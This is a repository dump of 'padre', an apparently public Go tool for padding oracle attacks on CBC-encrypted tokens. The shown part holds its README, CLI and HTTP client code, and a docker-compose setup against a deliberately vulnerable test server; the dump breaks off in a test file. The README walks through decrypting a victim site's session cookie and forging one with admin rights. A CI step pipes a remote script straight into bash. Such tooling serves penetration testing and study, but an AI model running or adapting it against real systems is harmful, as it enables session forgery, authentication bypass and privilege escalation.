Repository: glebarez/padre
Branch: master
Commit: 9a2e1f297419
Files: 69
Total size: 84.9 KB
Directory structure:
gitextract_e79k7lbs/
├── .dockerignore
├── .github/
│ ├── dependabot.yml
│ └── workflows/
│ ├── build-release.yaml
│ └── test.yaml
├── .gitignore
├── Dockerfile
├── LICENSE
├── Makefile
├── README.md
├── arg_errors.go
├── args.go
├── docker-compose.yml
├── go.mod
├── go.sum
├── hints.go
├── main.go
├── pkg/
│ ├── client/
│ │ ├── client.go
│ │ ├── client_test.go
│ │ ├── probe.go
│ │ ├── probe_test.go
│ │ ├── response.go
│ │ └── util.go
│ ├── color/
│ │ ├── color.go
│ │ └── color_test.go
│ ├── encoder/
│ │ ├── ascii.go
│ │ ├── ascii_test.go
│ │ ├── factory.go
│ │ ├── hex.go
│ │ ├── interface.go
│ │ ├── replacer.go
│ │ └── replacer_test.go
│ ├── exploit/
│ │ ├── decrypt.go
│ │ ├── encrypt.go
│ │ ├── exploit.go
│ │ ├── padre.go
│ │ ├── probes.go
│ │ └── util.go
│ ├── output/
│ │ ├── hackybar.go
│ │ ├── prefix.go
│ │ └── printer.go
│ ├── probe/
│ │ ├── confirm.go
│ │ ├── detect.go
│ │ ├── fingerprint.go
│ │ ├── interface.go
│ │ └── matcher.go
│ └── util/
│ ├── http.go
│ ├── http_test.go
│ ├── random.go
│ ├── random_test.go
│ ├── strings.go
│ ├── strings_test.go
│ └── terminal.go
├── test_server/
│ ├── .dockerignore
│ ├── .gitignore
│ ├── .python-version
│ ├── Dockerfile
│ ├── README.md
│ ├── app.py
│ ├── crypto.py
│ ├── docker-compose.yaml
│ ├── encoder.py
│ ├── requirements.txt
│ ├── server.py
│ ├── setup.cfg
│ └── tests/
│ ├── __init__.py
│ ├── app_test.py
│ ├── crypto_test.py
│ └── encoder_test.py
└── usage.go
================================================
FILE CONTENTS
================================================
================================================
FILE: .dockerignore
================================================
test_server
Dockerfile
docker-compose.yml
================================================
FILE: .github/dependabot.yml
================================================
# To get started with Dependabot version updates, you'll need to specify which
# package ecosystems to update and where the package manifests are located.
# Please see the documentation for all configuration options:
# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates
version: 2
updates:
- package-ecosystem: gomod # See documentation for possible values
directory: "/" # Location of package manifests
schedule:
interval: "daily"
- package-ecosystem: github-actions # See documentation for possible values
directory: "/" # Location of package manifests
schedule:
interval: "daily"
================================================
FILE: .github/workflows/build-release.yaml
================================================
name: Publish release
on:
push:
tags:
- 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10
jobs:
release:
runs-on: ubuntu-latest
outputs:
upload_url: ${{ steps.create_release.outputs.upload_url}}
steps:
- name: Create Release
id: create_release
uses: actions/create-release@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
tag_name: ${{ github.ref }}
release_name: Release ${{ github.ref }}
draft: true
prerelease: false
build:
needs: release
runs-on: ubuntu-latest
strategy:
matrix:
GOOS: [linux, windows, darwin]
GOARCH: [amd64]
env:
GOOS: ${{ matrix.GOOS }}
GOARCH: ${{ matrix.GOARCH }}
ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true'
steps:
- name: Set binary extension
if: matrix.GOOS == 'windows'
run: echo "::set-env name=BINARY_EXT::.exe"
- name: Set compiled binary name
run: |
echo "::set-env name=BINARY_NAME::padre-${{ matrix.GOOS }}-${{ matrix.GOARCH }}${{ env.BINARY_EXT }}"
echo "Binary name set to ${{ env.BINARY_NAME }}"
- name: Checkout code
uses: actions/checkout@v4
- uses: actions/setup-go@v5
with:
go-version: '1.20'
- name: Build project
run: go build -o $BINARY_NAME
- name: Attach compiled binary to release
id: upload-release-asset
uses: actions/upload-release-asset@v1
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
with:
upload_url: ${{ needs.release.outputs.upload_url }}
asset_path: ./${{ env.BINARY_NAME }}
asset_name: ${{ env.BINARY_NAME }}
asset_content_type: application/octet-stream
================================================
FILE: .github/workflows/test.yaml
================================================
on: [push, pull_request]
name: Test
jobs:
test:
strategy:
matrix:
go-version: [1.18.x, 1.19.x, 1.20.x]
os: [ubuntu-latest, macos-latest, windows-latest]
runs-on: ${{ matrix.os }}
steps:
- name: Install Go
uses: actions/setup-go@v5
with:
go-version: ${{ matrix.go-version }}
- name: Checkout code
uses: actions/checkout@v4
- name: Restore dependencies cache
uses: actions/cache@v4
with:
path: ~/go/pkg/mod
key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}
restore-keys: |
${{ runner.os }}-go-
- name: Unit tests
run: make test
- name: Upload coverage report to codecov
if: ${{ matrix.os == 'ubuntu-latest'}}
run: bash <(curl -s https://codecov.io/bash)
================================================
FILE: .gitignore
================================================
.vscode/
root.crt
coverage.out
================================================
FILE: Dockerfile
================================================
FROM golang:1.17
WORKDIR /padre
# Build
COPY . .
RUN go mod download
RUN go build -o padre .
# Runn
CMD ["./padre"]
================================================
FILE: LICENSE
================================================
MIT License
Copyright (c) 2023 glebarez
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
================================================
FILE: Makefile
================================================
test:
go test -race -coverprofile=coverage.out -covermode=atomic ./...
================================================
FILE: README.md
================================================
  
# padre
***padre*** is an advanced exploiter for Padding Oracle attacks against CBC mode encryption
Features:
- blazing fast, concurrent implementation
- decryption of tokens
- encryption of arbitrary data
- automatic fingerprinting of padding oracles
- automatic detection of cipher block length
- HINTS! if failure occurs during operations, padre will hint you about what can be tweaked to succeed
- supports tokens in GET/POST parameters, Cookies
- flexible specification of encoding rules (base64, hex, etc.)
## Demo

## Installation/Update
- Fastest way is to download pre-compiled binary for your OS from [Latest release](https://github.com/glebarez/padre/releases/latest)
- Alternatively, if you have Go installed, build from source:
```console
go install github.com/glebarez/padre@latest
```
## Usage scenario
If you find a suspected padding oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:
```bash
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='
```
padre will automatically fingerprint HTTP responses to determine if padding oracle can be confirmed. If server is indeed vulnerable, the provided token will be decrypted into something like:
```json
{"user_id": 456, "is_admin": false}
```
It looks like you could elevate your privileges here!
You can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:
```bash
padre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{"user_id": 456, "is_admin": true}'
```
This will spit out another encoded set of encrypted data, perhaps something like below (if base64 used):
```text
dGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=
```
Now you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.
## Impact of padding Oracles
- disclosing encrypted session information
- bypassing authentication
- providing fake tokens that server will trust
- generally, broad extension of attack surface
## Full usage options
```
Usage: padre [OPTIONS] [INPUT]
INPUT:
In decrypt mode: encrypted data
In encrypt mode: the plaintext to be encrypted
If not passed, will read from STDIN
NOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)
OPTIONS:
-u *required*
target URL, use $ character to define token placeholder (if present in URL)
-enc
Encrypt mode
-err
Regex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting
-e
Encoding to apply to binary data. Supported values:
b64 (standard base64) *default*
lhex (lowercase hex)
-r
Additional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.
Example:
If server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r "/!+-=~"
-cookie
Cookie value to be set in HTTP requests. Use $ character to mark token placeholder.
-post
String data to perform POST requests. Use $ character to mark token placeholder.
-ct
Content-Type for POST requests. If not specified, Content-Type will be determined automatically.
-b
Block length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:
8
16 *default*
32
-p
Number of parallel HTTP connections established to target server [1-256]
30 *default*
-proxy
HTTP proxy. e.g. use -proxy "http://localhost:8080" for Burp or ZAP
```
## Further read
- https://blog.skullsecurity.org/2013/a-padding-oracle-example
- https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data
## Alternative tools
- https://github.com/liamg/pax
- https://github.com/AonCyberLabs/PadBuster
================================================
FILE: arg_errors.go
================================================
package main
import "fmt"
type argErrors struct {
errors []error
warnings []string
}
func newArgErrors() *argErrors {
return &argErrors{
errors: make([]error, 0),
warnings: make([]string, 0),
}
}
func (p *argErrors) flagError(flag string, err error) {
e := fmt.Errorf("parameter %s: %w", flag, err)
p.errors = append(p.errors, e)
}
func (p *argErrors) flagErrorf(flag string, format string, a ...interface{}) {
e := fmt.Errorf("parameter %s: %s", flag, fmt.Sprintf(format, a...))
p.errors = append(p.errors, e)
}
func (p *argErrors) flagWarningf(flag string, format string, a ...interface{}) {
w := fmt.Sprintf("parameter %s: %s", flag, fmt.Sprintf(format, a...))
p.warnings = append(p.warnings, w)
}
func (p *argErrors) warningf(format string, a ...interface{}) {
w := fmt.Sprintf(format, a...)
p.warnings = append(p.warnings, w)
}
================================================
FILE: args.go
================================================
package main
import (
"flag"
"fmt"
"net/http"
"net/url"
"regexp"
"strings"
"github.com/glebarez/padre/pkg/color"
"github.com/glebarez/padre/pkg/encoder"
"github.com/glebarez/padre/pkg/util"
)
func init() {
// a custom usage message
flag.Usage = func() {
fmt.Fprint(stderr, usage)
}
}
const (
defaultConcurrency = 30
defaultTerminalWidth = 80
maxConcurrency = 256
)
// Args - CLI flags
type Args struct {
BlockLen *int
Parallel *int
TargetURL *string
Encoder encoder.Encoder
PaddingErrorPattern *string
ProxyURL *url.URL
POSTdata *string
ContentType *string
Cookies []*http.Cookie
EncryptMode *bool
Input *string
}
func parseArgs() (*Args, *argErrors) {
// container for storing errors and warnings
argErrs := newArgErrors()
args := &Args{}
// simple flags that go in as-is
args.PaddingErrorPattern = flag.String("err", "", "")
args.BlockLen = flag.Int("b", 0, "")
args.Parallel = flag.Int("p", defaultConcurrency, "")
args.POSTdata = flag.String("post", "", "")
args.ContentType = flag.String("ct", "", "")
args.EncryptMode = flag.Bool("enc", false, "")
args.TargetURL = flag.String("u", "", "")
// flags that need additional processing
proxyURL := flag.String("proxy", "", "")
encoding := flag.String("e", "b64", "")
replacements := flag.String("r", "", "")
cookies := flag.String("cookie", "", "")
// parse flags
flag.Parse()
// general check on URL, POSTdata or Cookies for having the $ placeholder
match1, err := regexp.MatchString(`\$`, *args.TargetURL)
if err != nil {
argErrs.flagError("-u", err)
}
match2, err := regexp.MatchString(`\$`, *args.POSTdata)
if err != nil {
argErrs.flagError("-post", err)
}
match3, err := regexp.MatchString(`\$`, *cookies)
if err != nil {
argErrs.flagError("-cookie", err)
}
if !(match1 || match2 || match3) {
argErrs.flagErrorf("-u, -post, -cookie", "Either URL, POST data or Cookie must contain the $ placeholder")
}
// Target URL
if *args.TargetURL == "" {
argErrs.flagErrorf("-u", "Must be specified")
} else {
_, err = url.Parse(*args.TargetURL)
if err != nil {
argErrs.flagError("-u", fmt.Errorf("failed to parse URL: %w", err))
}
}
// Proxy URL
if *proxyURL != "" {
args.ProxyURL, err = url.Parse(*proxyURL)
if err != nil {
argErrs.flagError("-proxy", fmt.Errorf("failed to parse URL: %w", err))
}
}
// Encoder (With replacements)
if len(*replacements)%2 == 1 {
argErrs.flagErrorf("-r", "String must be of even length (0,2,4, etc.)")
} else {
switch strings.ToLower(*encoding) {
case "b64":
args.Encoder = encoder.NewB64encoder(*replacements)
case "lhex":
args.Encoder = encoder.NewLHEXencoder(*replacements)
default:
argErrs.flagErrorf("-e", "Unsupported encoding specified")
}
}
// block length
switch *args.BlockLen {
case 0: // = not set
case 8:
case 16:
case 32:
default:
argErrs.flagErrorf("-b", "Unsupported value passed. Omit, or specify one of: 8, 16, 32")
}
// Cookies
if *cookies != "" {
args.Cookies, err = util.ParseCookies(*cookies)
if err != nil {
argErrs.flagError("-cookie", fmt.Errorf("failed to parse cookies: %s", err))
}
}
// Concurrency
if *args.Parallel < 1 {
argErrs.flagWarningf("-p", "Cannot be less than 1, value corrected to default value (%d)", defaultConcurrency)
*args.Parallel = defaultConcurrency
} else if *args.Parallel > maxConcurrency {
argErrs.flagWarningf("-p", "Value reduced to maximum allowed value (%d)", maxConcurrency)
*args.Parallel = maxConcurrency
}
// content-type auto-detection
if *args.POSTdata != "" && *args.ContentType == "" {
*args.ContentType = util.DetectContentType(*args.POSTdata)
argErrs.warningf("HTTP Content-Type detected automatically as %s", color.Yellow(*args.ContentType))
}
// decide on input source
switch flag.NArg() {
case 0:
// no input passed, STDIN will be used
case 1:
// input is passed
args.Input = &flag.Args()[0]
default:
// too many positional arguments
argErrs.flagErrorf("[INPUT]", "Specify exactly one input string, or pipe into STDIN")
}
return args, argErrs
}
================================================
FILE: docker-compose.yml
================================================
version: "2.1"
services:
vuln-server:
build: ./test_server
environment:
VULNERABLE: 1
USE_GEVENT: 1
expose:
- "5000"
logging:
driver: "none"
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:5000/health"]
interval: 2s
timeout: 1s
retries: 3
padre:
build: .
depends_on:
vuln-server:
condition: service_healthy
command: >
bash -c "./padre -u http://vuln-server:5000/decrypt?cipher=$$ -enc http-get | ./padre -u http://vuln-server:5000/decrypt?cipher=$$
&& ./padre -u http://vuln-server:5000/decrypt -post 'cipher=$$' -enc http-post | ./padre -u http://vuln-server:5000/decrypt -post 'cipher=$$'"
================================================
FILE: go.mod
================================================
module github.com/glebarez/padre
go 1.17
require (
github.com/fatih/color v1.18.0
github.com/mattn/go-isatty v0.0.20
github.com/nsf/termbox-go v1.1.1
github.com/stretchr/testify v1.8.4
)
require (
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/mattn/go-colorable v0.1.13 // indirect
github.com/mattn/go-runewidth v0.0.9 // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/sys v0.25.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
)
================================================
FILE: go.sum
================================================
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=
github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=
github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=
github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=
github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
github.com/nsf/termbox-go v1.1.1 h1:nksUPLCb73Q++DwbYUBEglYBRPZyoXJdrj5L+TkjyZY=
github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo=
github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=
github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=
github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=
github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=
github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=
github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=
github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=
golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
golang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=
golang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
================================================
FILE: hints.go
================================================
package main
import (
"github.com/glebarez/padre/pkg/color"
"github.com/glebarez/padre/pkg/output"
)
// flag wrapper
func _f(f string) string {
return `(` + color.GreenBold(`-`+f) + ` option)`
}
// hint texts
var (
omitBlockLen = `omit ` + _f(`b`) + ` for automatic detection of block length`
omitErrPattern = `omit ` + _f(`err`) + ` for automatic fingerprinting of HTTP responses`
setErrPattern = `specify error pattern manually with ` + _f(`err`)
lowerConnections = `server might be overwhelmed or rate-limiting you requests. try lowering concurrency using ` + _f(`p`)
checkEncoding = `check that encoding ` + _f(`e`) + ` and replacement rules ` + _f(`r`) + ` are set properly`
checkInput = `check that INPUT is properly formatted`
)
// make hints for obvious reasons
func makeDetectionHints(args *Args) []string {
hints := make([]string, 0)
// block length
if *args.BlockLen != 0 {
hints = append(hints, omitBlockLen)
} else {
// error pattern
if *args.PaddingErrorPattern != "" {
hints = append(hints, omitErrPattern)
} else {
hints = append(hints, setErrPattern)
}
}
// concurrency
if *args.Parallel > 10 {
hints = append(hints, lowerConnections)
}
return hints
}
func printHints(p *output.Printer, hints []string) {
// hints intro
p.AddPrefix(color.CyanBold("[hints]"), true)
defer p.RemovePrefix()
p.Println(`if you believe target is vulnerable, try following:`)
// list hints
p.AddPrefix(color.CyanBold(`> `), false)
defer p.RemovePrefix()
for _, h := range hints {
p.Println(h)
}
}
================================================
FILE: main.go
================================================
package main
import (
"bufio"
"crypto/tls"
"fmt"
"net/http"
"os"
"github.com/glebarez/padre/pkg/client"
"github.com/glebarez/padre/pkg/color"
"github.com/glebarez/padre/pkg/encoder"
"github.com/glebarez/padre/pkg/exploit"
out "github.com/glebarez/padre/pkg/output"
"github.com/glebarez/padre/pkg/probe"
"github.com/glebarez/padre/pkg/util"
)
var (
stderr = color.Error
stdout = os.Stdout
)
func main() {
var err error
// initialize printer
print := &out.Printer{
Stream: stderr,
}
// determine terminal width
var termWidth int
termWidth, err = util.TerminalWidth()
if err != nil {
// fallback to default
print.AvailableWidth = defaultTerminalWidth
print.Errorf("Could not determine terminal width. Falling back to %d", defaultTerminalWidth)
err = nil //nolint
} else {
print.AvailableWidth = termWidth
}
// parse CLI arguments
args, errs := parseArgs()
// check if errors occurred during CLI arguments parsing
if len(errs.errors) > 0 {
print.AddPrefix(color.CyanBold("argument errors:"), true)
for _, e := range errs.errors {
print.Error(e)
}
print.RemovePrefix()
print.Printlnf("Run with %s option to see usage help", color.CyanBold("-h"))
os.Exit(1)
}
// check if warnings occurred during CLI arguments parsing
for _, w := range errs.warnings {
print.Warning(w)
}
// show welcoming message
print.Info("%s is on duty", color.CyanBold("padre"))
// be verbose about concurrency
print.Info("using concurrency (http connections): %s", color.Green(*args.Parallel))
// initialize HTTP client
client := &client.Client{
HTTPclient: &http.Client{
Transport: &http.Transport{
MaxConnsPerHost: *args.Parallel,
Proxy: http.ProxyURL(args.ProxyURL),
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // skip TLS verification
}},
URL: *args.TargetURL,
POSTdata: *args.POSTdata,
Cookies: args.Cookies,
CipherPlaceholder: `$`,
Encoder: args.Encoder,
Concurrency: *args.Parallel,
ContentType: *args.ContentType,
}
// create matcher for padding error
var matcher probe.PaddingErrorMatcher
if *args.PaddingErrorPattern != "" {
matcher, err = probe.NewMatcherByRegexp(*args.PaddingErrorPattern)
if err != nil {
print.Error(err)
os.Exit(1)
}
}
// -- detect/confirm padding oracle
// set block lengths to try
var blockLengths []int
if *args.BlockLen == 0 {
// no block length explicitly provided, we need to try all supported lengths
blockLengths = []int{8, 16, 32}
} else {
blockLengths = []int{*args.BlockLen}
}
var i, bl int
// if matcher was already created due to explicit pattern provided in args
// we need to just confirm the existence of padding oracle
if matcher != nil {
print.Action("confirming padding oracle...")
for i, bl = range blockLengths {
confirmed, err := probe.ConfirmPaddingOracle(client, matcher, bl)
if err != nil {
print.Error(err)
os.Exit(1)
}
// exit as soon as padding oracle is confirmed
if confirmed {
print.Success("padding oracle confirmed")
break
}
// on last iteration, getting here means confirming failed
if i == len(blockLengths)-1 {
print.Errorf("padding oracle was not confirmed")
printHints(print, makeDetectionHints(args))
os.Exit(1)
}
}
}
// if matcher was not created (e.g. pattern was not provided in CLI args)
// then we need to auto-detect the fingerprint of padding oracle
if matcher == nil {
print.Action("fingerprinting HTTP responses for padding oracle...")
for i, bl = range blockLengths {
matcher, err = probe.DetectPaddingErrorFingerprint(client, bl)
if err != nil {
print.Error(err)
os.Exit(1)
}
// exit as soon as fingerprint is detected
if matcher != nil {
print.Success("successfully detected padding oracle")
break
}
// on last iteration, getting here means confirming failed
if i == len(blockLengths)-1 {
print.Errorf("could not auto-detect padding oracle fingerprint")
printHints(print, makeDetectionHints(args))
os.Exit(1)
}
}
}
// set block length if it was auto-detected
if *args.BlockLen == 0 {
*args.BlockLen = bl
print.Success("detected block length: %s", color.Green(bl))
}
// print mode used
if *args.EncryptMode {
print.Warning("mode: %s", color.CyanBold("encrypt"))
} else {
print.Warning("mode: %s", color.CyanBold("decrypt"))
}
// build list of inputs to process
inputs := make([]string, 0)
if args.Input == nil {
print.Warning("no explicit input passed, expecting input from stdin...")
// read inputs from stdin
scanner := bufio.NewScanner(os.Stdin)
for scanner.Scan() {
inputs = append(inputs, scanner.Text())
}
} else {
// use single input, passed in CLI arguments
inputs = append(inputs, *args.Input)
}
// init padre instance
padre := &exploit.Padre{
Client: client,
Matcher: matcher,
BlockLen: *args.BlockLen,
}
// process inputs one by one
var errCount int
for i, input := range inputs {
// create new status bar for current input
prefix := color.CyanBold(fmt.Sprintf("[%d/%d]", i+1, len(inputs)))
print.AddPrefix(prefix, true)
var (
output []byte
bar *out.HackyBar
hints []string
)
// encrypt or decrypt
if *args.EncryptMode {
// init hacky bar
bar = out.CreateHackyBar(args.Encoder, len(exploit.Pkcs7Pad(input, bl))+bl, *args.EncryptMode, print)
// provide HTTP client with event-channel, so we can count RPS
client.RequestEventChan = bar.ChanReq
bar.Start()
output, err = padre.Encrypt(input, bar.ChanOutput)
if err != nil {
// at this stage, we already confirmed padding oracle
// we suppose the server is blocking connections
hints = append(hints, lowerConnections)
}
bar.Stop()
} else {
// decrypt mode
if input == "" {
err = fmt.Errorf("empty input")
goto Error
}
// decode input into bytes
var ciphertext []byte
ciphertext, err = args.Encoder.DecodeString(input)
if err != nil {
hints = append(hints, checkInput)
hints = append(hints, checkEncoding)
goto Error
}
// init hacky bar
bar = out.CreateHackyBar(encoder.NewASCIIencoder(), len(ciphertext)-bl, *args.EncryptMode, print)
// provide HTTP client with event-channel, so we can count RPS
client.RequestEventChan = bar.ChanReq
// do decryption
bar.Start()
output, err = padre.Decrypt(ciphertext, bar.ChanOutput)
bar.Stop()
if err != nil {
goto Error
}
}
// warn about output overflow
if bar.Overflow && util.IsTerminal(stdout) {
print.Warning("Output was too wide to fit to you terminal. Redirect STDOUT somewhere to get full output")
}
Error:
// in case of error, skip to the next input
if err != nil {
print.Error(err)
errCount++
if len(hints) > 0 {
printHints(print, hints)
}
continue
}
// write output only if output is redirected to file or piped
// this is because outputs already will be in status output
// so printing them to STDOUT again is not necessary
if !util.IsTerminal(stdout) {
/* in case of encryption, additionally encode the produced output */
if *args.EncryptMode {
outputStr := args.Encoder.EncodeToString(output)
_, err = stdout.WriteString(outputStr + "\n")
if err != nil {
// do not tolerate errors in output writer
print.Error(err)
os.Exit(1)
}
} else {
stdout.Write(append(output, '\n'))
}
}
}
/* non-zero return code if all inputs were errornous */
if len(inputs) == errCount {
os.Exit(2)
}
}
================================================
FILE: pkg/client/client.go
================================================
package client
import (
"context"
"io/ioutil"
"net/http"
"net/url"
"strings"
"github.com/glebarez/padre/pkg/encoder"
)
// Client - API to perform HTTP Requests to a remote server.
// Very specific to padre, in that it sends queries to a specific URL
// that carries out the decryption and can spill padding oracle
type Client struct {
// underlying net/http client
HTTPclient *http.Client
// the following data will form the HTTP request payloads.
// if placeholder is met among those data, it will be replaced
// with encoded representation ciphertext
URL string
POSTdata string
Cookies []*http.Cookie
// placeholder to replace with encoded ciphertext
CipherPlaceholder string
// encoder that is used to transform binary ciphertext
// into plaintext representation. this must comply with
// what remote server uses (e.g. Base64, Hex, etc)
Encoder encoder.Encoder
// HTTP concurrency (maximum number of simultaneous connections)
Concurrency int
// the content type of to be sent HTTP requests
ContentType string
// if this channel is not nil, it will be provided with byte value every time
// the new HTTP request is made, so that RPS stats can be collected from
// outside parties
RequestEventChan chan byte
}
// DoRequest - send HTTP request with cipher, encoded according to config
func (c *Client) DoRequest(ctx context.Context, cipher []byte) (*Response, error) {
// encode the cipher
cipherEncoded := c.Encoder.EncodeToString(cipher)
// build URL
url, err := url.Parse(replacePlaceholder(c.URL, c.CipherPlaceholder, cipherEncoded))
if err != nil {
return nil, err
}
// create request
req := &http.Request{
URL: url,
Header: http.Header{},
}
// upgrade to POST if data is provided
if c.POSTdata != "" {
// perform data for POST body
req.Method = "POST"
data := replacePlaceholder(c.POSTdata, c.CipherPlaceholder, cipherEncoded)
req.Body = ioutil.NopCloser(strings.NewReader(data))
// set content type
req.Header["Content-Type"] = []string{c.ContentType}
}
// add cookies if any
if c.Cookies != nil {
for _, cookie := range c.Cookies {
// add cookies
req.AddCookie(&http.Cookie{
Name: cookie.Name,
Value: replacePlaceholder(cookie.Value, c.CipherPlaceholder, cipherEncoded),
})
}
}
// add context if passed
if ctx != nil {
req = req.WithContext(ctx)
}
// send request
resp, err := c.HTTPclient.Do(req)
if err != nil {
return nil, err
}
defer resp.Body.Close()
// report about made request to status
if c.RequestEventChan != nil {
c.RequestEventChan <- 1
}
// read body
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
return &Response{StatusCode: resp.StatusCode, Body: body}, nil
}
================================================
FILE: pkg/client/client_test.go
================================================
package client
import (
"context"
"io/ioutil"
"net/http"
"net/http/httptest"
"net/url"
"testing"
"github.com/glebarez/padre/pkg/encoder"
"github.com/glebarez/padre/pkg/util"
"github.com/stretchr/testify/require"
)
func TestClient_DoRequest(t *testing.T) {
// require start here
require := require.New(t)
// channel to propagate requests
requestChan := make(chan *http.Request, 1)
// special handler for propagating the channel
handler := func(w http.ResponseWriter, r *http.Request) {
// propagate received request
requestChan <- r
// copy request body into the response
responseBody, err := ioutil.ReadAll(r.Body)
require.NoError(err)
// fill the response writer
_, err = w.Write(responseBody)
require.NoError(err)
}
// new test server
ts := httptest.NewServer(http.HandlerFunc(handler))
defer ts.Close()
